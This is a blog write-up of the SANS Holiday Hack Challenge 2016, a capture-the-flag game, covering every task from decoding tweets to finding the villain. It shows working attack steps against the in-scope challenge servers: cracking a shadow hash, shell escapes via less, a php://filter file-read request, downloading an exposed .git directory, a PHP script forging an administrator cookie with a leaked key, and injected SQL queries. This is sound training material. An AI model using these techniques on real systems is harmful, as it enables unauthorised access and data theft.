Holiday Hack Challenge 2016 writeup

Who abducted Santa?

Posted by Martin Ingesen on January 3, 2017

Preface

Another christmas, another holiday hack challenge! Last year was a blast, so I can’t wait to start this one! I won’t be covering anything in game, but only the tasks as written on the holiday hack challenge website. I did however manage to get all achievements, but I won’t cover that here.

Part 1: A Most Curious Business Card

We are given two social media accounts.

1) What is the secret message in Santa’s tweets?

The twitter feed seems to be filled with random stuff. We copy the innerHTML of the twitter stream in the Chrome Developer console. Save the result to a file, and grep through the file for “tweet-text”.

cat file | grep "tweet-text\""

If we zoom out the terminal, we see the following:

bugbounty

the word bugbounty.

2) What is inside the ZIP file distributed by Santa’s team?

There is an interesting image in the instagram image:

bugbounty

From the Instagram photo we see a zip file called SantaGram_v4.2.zip. We also see an nmap scan for the domain northpolewonderland.com. We quickly discover that the zip file is accessible from the root directory of that website.

http://northpolewonderland.com/SantaGram_v4.2.zip

When downloaded, we discover that the file is password-protected. Through some trail and error, we discover that first task is linked to this one, meaning that the password was bugbounty. Inside we find an Android APK.

Part 2: Awesome Package Konveyance

3) What username and password are embedded in the APK file?

Using jadx, we decompile the APK, and simply search for the string “password”. In the files apk-dir/com/northpolewonderland/santagram/C0987b.java and apk-dir/com/northpolewonderland/santagram/SplashScreen.java we find

jSONObject.put("username", "guest");
jSONObject.put("password", "busyreindeer78");

4) What is the name of the audible component (audio file) in the SantaGram APK file?

In res/raw/ we find the mp3 file in question, called discombobulatedaudio1.mp3.

Part 3: A Fresh-Baked Holiday Pi

5) What is the password for the “cranpi” account on the Cranberry Pi system?

From one of the elfs in the game, we receive the url: https://www.northpolewonderland.com/cranbian.img.zip

By mounting the image, we see that it’s a linux file system. the /etc/shadow-file from the image contain the following line:

cranpi:$6$2AXLbEoG$zZlWSwrUSD02cm8ncL6pmaYY/39DUai3OGfnBbDNjtx2G99qKbhnidxinanEhahBINm/2YyjFihxg7tgc343b0:17140:0:99999:7:::

Combining this with /etc/passwd using /usr/bin/unshadow gives us:

cranpi:$6$2AXLbEoG$zZlWSwrUSD02cm8ncL6pmaYY/39DUai3OGfnBbDNjtx2G99qKbhnidxinanEhahBINm/2YyjFihxg7tgc343b0:1000:1000:,,,:/home/cranpi:/bin/bash

Using John and the RockYou wordlist, we get:

cranpi:yummycookies:1000:1000:,,,:/home/cranpi:/bin/bash

6) How did you open each terminal door and where had the villain imprisoned Santa?

Elf house #2:

By using sudo -l we get to know the user scratchy can run both strings and tcpdump as itchy without a password. First, we use strings as such: sudo -u itchy strings /out.pcap, yielding:

<input type="hidden" name="part1" value="santasli" />

Which mean santasli is the first part of the passphrase. I messed around with extracting the binary blob for a while, but randomly tried santaslittlehelper as the password for the door. And magically it worked!

Stables:

By using base64, we extract the wumpus executable. Using GDB I called the kill_wumpus function which gave me the password: WUMPUS IS MISUNDERSTOOD

Train Station:

When we write HELP, we are dropped into less. Less works a bit like Vim, meaning that we can write :! And execute a command. So we simply do :!ls and list the directory. There we find the ActivateTrain binary, and run that using :!./ActivateTrain

Workshop Door to second floor:

To open the door, find the passphrase file deep in the directories.

Aha, lets dig out some linux-fu:

> find . -name "*.txt"
./.doormat/. / /\/\\/Don't Look Here!/You are persistent, aren't you?/'/key_for_the_door.txt

Okay, so we simply escape all the spaces etc with \.

cat .doormat/\.\ /\ /\\/\\\\/Don\'t\ Look\ Here\!/You\ are\ persistent\,\ aren\'t\ you?/\'/key_for_the_door.txt

and we get the flag: open_sesame.

Santa’s Office

Here we get to relive many hackers childhood! Wargames!

GREETINGS PROFESSOR FALKEN.

Hello.

HOW ARE YOU FEELING TODAY?

I'm fine. How are you?

EXCELLENT, IT'S BEEN A LONG TIME. CAN YOU EXPLAIN THE REMOVAL OF YOUR USER ACCOUNT ON 6/
23/73?

People sometimes make mistakes.

YES THEY DO. SHALL WE PLAY A GAME?

Love to. How about Global Thermonuclear War?

WOULDN'T YOU PREFER A GOOD GAME OF CHESS?

Later. Let's play Global Thermonuclear War.

FINE

,------~~v,_         _                     _--^\
 |'          \   ,__/ ||                 _/    /,_ _
/             \,/     /         ,,  _,,/^         v v-___
|                    /          |'~^                     \
\                   |         _/                     _ _/^
 \                 /         /                   ,~~^/ |
  ^~~_       _ _   /          |          __,, _v__\   \/
      '~~,  , ~ \ \           ^~       /    ~   //
          \/     \/             \~,  ,/          
                                   ~~
   UNITED STATES                   SOVIET UNION
WHICH SIDE DO YOU WANT?
     1.    UNITED STATES
     2.    SOVIET UNION

PLEASE CHOOSE ONE:
2

AWAITING FIRST STRIKE COMMAND
-----------------------------
PLEASE LIST PRIMARY TARGETS BY
CITY AND/OR COUNTRY NAME:

Las Vegas

LAUNCH INITIATED, HERE'S THE KEY FOR YOUR TROUBLE:
LOOK AT THE PRETTY LIGHTS
Press Enter To Continue

Which gives us the key LOOK AT THE PRETTY LIGHTS.

Part 4: My Gosh… It’s Full of Holes

7) ONCE YOU GET APPROVAL OF GIVEN IN-SCOPE TARGET IP ADDRESSES FROM TOM HESSMAN AT THE NORTH POLE, ATTEMPT TO REMOTELY EXPLOIT EACH OF THE FOLLOWING TARGETS:

The Mobile Analytics Server (via credentialed login access)

Simple, log in with the credentials found in the APK. In the web interface there is a “MP3” link in the navigation bar. Simply click it, and we get the audio!

discombobulatedaudio2.mp3

The Dungeon Game

http://dungeon.northpolewonderland.com/ 35.184.47.139 (IN SCOPE)

Earlier we got the dungeon binary from an elf in game. Using that, we can locally look at the game. The game is commonly called Zork, so we do some Googling, and it turns out there is a way to “cheat” in game using something called GDT. By enumerating all rooms using GDT, we find a room called “The North Pole”. We go there (gdt ah 80) and talk to the elf we find there. He wants us to give him something before he gives us the hint. By trail and error I find that I can give him a torch, and he will give me the hint. Now I just need to do it on the live version.

Using nmap we see that port 11111 is open. Looks like the server is running a version of the Zork game we received earlier. This obviously runs the game server which can be connected to by using netcat (nc 35.184.47.139 11111). The solution is to first go to room 80 and take the torch before going to room 192 and giving the torch to the elf using GDT. Then we get the hint:

send email to "[email protected]" for that which you seek.

After sending the email, peppermint replies with the mp3-file.

discombobulatedaudio3.mp3

The Debug Server

http://dev.northpolewonderland.com/index.php 35.184.63.245 (IN SCOPE)

I found the dev server, but couldn’t figure out how to interface with it. So I figured I had to enable debugging in the APK. Using Apktool we do this:

$ apktool d SantaGram.apk
$ vim res/values/strings.xml

Set false to true in the XML. Then rebuild the apk.

$ apktool b -f ./SantaGram_4.2 -o lol

We now need to sign the apk again, before we deploy it:

$ mkdir keys
$ keytool -genkey -v -keystore keys/lol.keystore -alias lol -keyalg RSA -keysize 1024 -sigalg SHA1withRSA -validity 10000

$ jarsigner -sigalg SHA1withRSA -digestalg SHA1 -keystore keys/lol.keystore ./lol.apk lol

Drag and drop on genymotion, install. Browse around with proxying through burp. Suddenly a wild dev.* appears.

POST /index.php HTTP/1.1
Content-Type: application/json
User-Agent: Dalvik/2.1.0 (Linux; U; Android 5.0; Google Nexus 4 - 5.0.0 - API 21 - 768x1280_1 Build/LRX21M)
Host: dev.northpolewonderland.com
Connection: close
Accept-Encoding: gzip
Content-Length: 144

{"date":"20161227224804-0500","udid":"8dce4456f734bf81","debug":"com.northpolewonderland.santagram.EditProfile, EditProfile","freemem":85719500}

With the reply:

HTTP/1.1 200 OK
Server: nginx/1.6.2
Date: Wed, 28 Dec 2016 03:48:05 GMT
Content-Type: application/json
Connection: close
Content-Length: 250

{"date":"20161228034805","status":"OK","filename":"debug-20161228034805-0.txt","request":{"date":"20161227224804-0500","udid":"8dce4456f734bf81","debug":"com.northpolewonderland.santagram.EditProfile, EditProfile","freemem":85719500,"verbose":false}}

We set verbose to true in a new request, and receive this:

HTTP/1.1 200 OK
Server: nginx/1.6.2
Date: Wed, 28 Dec 2016 03:51:32 GMT
Content-Type: application/json
Connection: close
Content-Length: 719

{"date":"20161228035132","date.len":14,"status":"OK","status.len":"2","filename":"debug-20161228035132-0.txt","filename.len":26,"request":{"date":"20161227224804-0500","udid":"8dce4456f734bf81","debug":"com.northpolewonderland.santagram.EditProfile, EditProfile","freemem":0,"verbose":true},"files":["debug-20161224235959-0.mp3","debug-20161228033632-0.txt","debug-20161228033648-0.txt","debug-20161228033732-0.txt","debug-20161228033753-0.txt","debug-20161228033818-0.txt","debug-20161228034635-0.txt","debug-20161228034805-0.txt","debug-20161228034916-0.txt","debug-20161228035048-0.txt","debug-20161228035050-0.txt","debug-20161228035052-0.txt","debug-20161228035122-0.txt","debug-20161228035132-0.txt","index.php"]}

Here we find the .mp3 in the debug text: http://dev.northpolewonderland.com/debug-20161224235959-0.mp3

The Banner Ad Server

http://ads.northpolewonderland.com/affiliate/C9E380C8-2244-41E3-93A3-D6C6700156A5 104.198.221.240 (IN SCOPE)

On the ads.* domain, we figure out that the site uses Meteor! We use the Meteor TamperMonkey script and see that there is a collection called HomeQuotes. I simply accessed this using the HomeQuotes.find().fetch() in the JS-console. And in the last object we found the url!

http://ads.northpolewonderland.com/ofdAR4UYRaeNxMg/discombobulatedaudio5.mp3

The Uncaught Exception Handler Server

http://ex.northpolewonderland.com/exception.php 104.154.196.33 (IN SCOPE)

Here we see that we can read crash dumps from the app. Using this, and a custom php filter, we can read the source code for the exception.php site.

POST /exception.php HTTP/1.1
Host: ex.northpolewonderland.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/json
Connection: close
Upgrade-Insecure-Requests: 1
Content-Length: 124
 
{
 	       	'operation': "ReadCrashDump",
    	'data': {
                	'crashdump': "php://filter/convert.base64-encode/resource=exception"
    	}
}

With the reply:

<?php
 
# Audio file from Discombobulator in webroot: discombobulated-audio-6-XyzE3N9YqKNH.mp3
 
# Code from http://thisinterestsme.com/receiving-json-post-data-via-php/
# Make sure that it is a POST request.
if(strcasecmp($_SERVER['REQUEST_METHOD'], 'POST') != 0){
   die("Request method must be POST\n");
}

http://ex.northpolewonderland.com/discombobulated-audio-6-XyzE3N9YqKNH.mp3

The Mobile Analytics Server (post authentication)

https://analytics.northpolewonderland.com/report.php?type=launch 104.198.252.157 (IN SCOPE)

Using nmap -sC we find https://analytics.northpolewonderland.com/.git/. We download it using wget -r --no-parent url 104.198.252.157

Then the deleted files can be restored using: git checkout -- ..

We see that we might want to access edit.php which is only accessible for administrators. We need to create a valid cookie for us to use. We have the source code, so we know how to do that:

<?php
  
	define('KEY', "\x61\x17\xa4\x95\xbf\x3d\xd7\xcd\x2e\x0d\x8b\xcb\x9f\x79\xe1\xdc");

	function decrypt($data) {
	  return mcrypt_decrypt(MCRYPT_ARCFOUR, KEY, $data, 'stream');
	}
	function encrypt($data) {
	    return mcrypt_encrypt(MCRYPT_ARCFOUR, KEY, $data, 'stream');
	}
	
	$cookie = "82532b2136348aaa1fa7dd2243da1cc9fb13037c49259e5ed70768d4e9baa1c80b97fee8bca82880fc78ba78c49e0753b14348637bec";
	$shit = json_decode(decrypt(pack("H*",$cookie)), true);
	var_dump($shit);
	$shit['username'] = "administrator";
	var_dump($shit);
	$newthing = bin2hex(encrypt(json_encode($shit)));
	print $newthing;
?>

Then we use that cookie for access to the edit page.

We see that we can update a report, but not set the query, because it’s not in the html. Therefore we intercept the request, add the query parameter with the value equal to:

SELECT * FROM `audio`;

We the access the report via the view.php script, and we find both of the audio files listed:

id username filename mp3
20c216bc-b8b1-11e6-89e1-42010af00008 guest discombobulatedaudio2.mp3  
3746d987-b8b1-11e6-89e1-42010af00008 administrator discombobulatedaudio7.mp3  

First I tried downloading the file via the getaudio.php page, but this only allowed for guest to download the file. Okay, but we can edit the SQL for a report, and the values are displayed with htmlentities. This is why we don’t see the mp3 content in the above table. But say hello to base64:

SELECT username, TO_BASE64(mp3) FROM `audio`;

Then copy the base64 representation, decode it and save it as mp3.

discombobulatedaudio7.mp3

8) What are the names of the audio files you discovered from each system above? There are a total of SEVEN audio files (one from the original APK in Question 4, plus one for each of the six items in the bullet list above.)

  • discombobulatedaudio1.mp3
  • discombobulatedaudio2.mp3
  • discombobulatedaudio3.mp3
  • debug-20161224235959-0.mp3
  • discombobulatedaudio5.mp3
  • discombobulated-audio-6-XyzE3N9YqKNH.mp3
  • discombobulatedaudio7.mp3

Part 5: Discombobulated Audio

9) Who is the villain behind the nefarious plot.

We put all the files into Audacity, chain them together based on their number, and start tweaking. We adjust the speed, tempo and pitch untill we hear the voice: Father Christmas, Santa Claus. Or, as I've always known him, Jeff.. Wait a second… that sounds like… DOCTOR WHO! Meaning that Who abducted Santa, literally!

10) Why had the villain abducted Santa?

Using the above mentioned phrase, we get access to the last room in the game. We climb a ladder, and there we find him, Dr. Who himself!

He explains that he wanted to stop the Star Wars Holiday Special from being released. And abducting santa and using his North Pole Wonderland Magick could prevent it from ever being released.

Epilogue

Another great Holiday Hack Challenge! A big thanks to the team behind Holiday Hack Challenge for creating such an enjoyable and memorable CTF for the christmas holiday! Thank you very much!